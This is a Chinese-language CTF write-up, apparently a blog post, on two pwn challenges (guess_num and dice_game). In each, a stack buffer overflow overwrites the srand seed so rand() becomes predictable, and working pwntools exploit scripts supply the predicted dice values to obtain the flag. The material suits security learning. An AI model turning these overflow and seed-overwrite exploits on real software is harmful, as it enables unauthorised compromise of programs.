[pwn]通过覆盖seed值劫持rand()函数

30 篇文章 3 订阅
25 篇文章 4 订阅

通过覆盖seed值劫持rand()函数

遇到了一种提醒,不是通过劫持eip然后getshell,而是程序中给了利用函数,但需要满足一定条件,比如连续猜对N个随机数。这里使用两个例题:

guess_num write

题目地址:guess_num

查看安全策略:
在这里插入图片描述
全开…然后查看反汇编:
在这里插入图片描述
在这里插入图片描述
发现gets溢出,从v7变量向后溢出,基本没有上限的溢出。然后sub_C3E函数是查看flag功能。虽然溢出很明显,但由于全开了安全策略,即使给出了cat flag函数也没办法通过劫持eip调用,因为PIE保护会让代码段的执行地址每一次都随机化。所以我们只能通过“正常”手段来让程序自己执行cat flag:
在这里插入图片描述
整个函数的逻辑就是,先从一个文件中读取两个数给seed[2],然后srand设置seed值位seed[0],最后连续猜10次骰子,猜对了就输出flag。而seed在栈中的位置在v7下面,我们可以通过溢出覆盖seed[0]为0,而rand函数每次随机的值是和seed有关的,只要我们知道seed的值,就可以实现预测随机数,自己编写小脚本:

#include <stdio.h>
#include <stdlib.h>
int main(void) { 
	srand(0);
	for(int i=0;i<100;i++)
	{
	    printf("%d,",rand()%6+1);
	}
}

每次输出都是一样:
在这里插入图片描述
v7的位置是rbp-30,seed的位置是ebp-10,相对位置是0x20,所以构造如下exp:

# -*- coding: utf-8 -*- 
from pwn import *
ans=[2,5,4,2,6,2,5,1,4,2]  #预测rand()的表
p=process("./c9202d3634ec4513835ce3bd19d8ff07")

print p.recv()
payload='a'*0x20  #v7和seed的相对位置
payload+=p64(0)   #覆盖seed[0]为0
p.sendline(payload)


for i in ans:     #依次猜就好了
    print p.recv()
    p.sendline(str(i))

print p.recv()
print p.recv()

成功拿到flag:
在这里插入图片描述

dice_game writeup

题目地址:dice_game

查看安全策略:
在这里插入图片描述
差不多全开了。然后查看反汇编:
在这里插入图片描述
和上一道题大同小异,read越界,可以读0x50个字符串,而buf距离栈底正好0x50,所以传统思路最多只能劫持ebp,而且开启了pie对后面的利用也是没有帮助。但我们可以覆盖seed[0],而seed[0]正好是rand的种子,中间那个函数sub_561415E8BA20功能就是rand一个6以内的随机数,然后用户输入一个,连续才对50次就会拿到flag:
在这里插入图片描述
在这里插入图片描述
所以利用思路类似,exp如下:

from pwn import*
ans=[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]

p=process("./dice_game")
print p.recv()
p.sendline('a'*0x40 + p64(0)) 

for i in range(50):
    p.recv()
    p.sendline(str(ans[i]))

print p.recv()
print p.recv()

成功拿到flag:
在这里插入图片描述

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值